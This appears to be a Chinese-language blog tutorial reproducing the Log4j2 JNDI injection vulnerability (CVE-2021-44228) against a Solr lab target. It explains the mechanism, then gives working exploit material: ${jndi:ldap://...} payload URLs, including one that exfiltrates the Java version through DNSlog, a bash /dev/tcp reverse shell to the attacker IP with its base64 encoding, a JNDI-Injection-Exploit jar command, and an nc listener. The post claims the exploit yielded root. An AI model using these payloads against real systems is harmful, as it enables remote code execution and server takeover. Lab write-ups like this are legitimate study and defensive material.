前言
Apache Log4j是Apache的一个开源项目,是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。可以控制日志信息输送的目的地为控制台、文件、GUI组件等, 通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。Log4j2中存在JNDI注入漏洞, 当程序将用户输入的数据被日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
一、原理
Apache Log4j2是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}
的lookup用于进行JNDI注入,执行任意代码。当调用lookup()方法时,如果lookup方法的参数是一个url地址,那么客户端就会去lookup()方法参数指定的url中加载远程对象。
二、JNDI注入的整体流程
- 通过一个JNDI的接口传入恶意参数Exploit.class
- 访问目录服务,获得Reference存根,发现是一个不存在的refClassName对象
- 从指定远程HTTP服务器地址动态加载对象
- Exploit.class下载到本地,并执行其中的代码
三、注入条件
- JNDI的客户端使用了lookup这个参数
- 这个lookup的参数是动态可控的
- 需要构建一个LDAP服务,指定远程加载地址为恶意代码地址
- 在客户端访问LDAP服务不存在的对象
- 客户端下载恶意代码到本地执行
四、漏洞验证
漏洞环境
- 攻击机:192.168.1.112
- 靶机:192.168.10.134
- vulhub环境搭建教程
漏洞验证
- 启动靶场
root@ubuntu:~# cd vulhub-master/
root@ubuntu:~/vulhub-master# cd log4j/
root@ubuntu:~/vulhub-master/log4j# cd CVE-2021-44228/
root@ubuntu:~/vulhub-master/log4j/CVE-2021-44228# docker-compose up -d
-
访问
192.168.10.134:8983/solr/admin/cores?action=1
,得到json数据。
-
启动dnslog,获取一个临时的域名。
-
通过临时域名,利用JNDI发送DNS请求,构造payload:
http://192.168.10.134:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.uyz18i.dnslog.cn}
-
访问之后,我们查看dnslog.cn页面,点击Refresh按钮刷新,可以看到有请求访问记录,并且带出了jdk版本号,表明存在log4j2漏洞。
漏洞复现
-
下载JNDI注入的jar包,
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
-
将反弹命令进行base64编码
bash -i >& /dev/tcp/192.168.1.112/6969 0>&1 //监听机IP/监听端口
经过base64编码后
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTEyLzY5NjkgMD4mMQ==
- 在kali执行以下命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTEyLzY5NjkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.1.112
(-A 后面为监听机IP)
- 在kali开启监听6969端口,执行
nc -lvvp 6969
- 构造payload:
http://192.168.10.134:8983/solr/admin/cores?action=${jndi:ldap://192.168.1.112:1389/snfvyt}
,并在浏览器进行访问
- 查看日志及反弹结果,发现请求了工具的恶意类,并且反弹成功,获取root权限。
注:本博客仅供个人学习使用,若用于其他违法途径,与本人无关!!!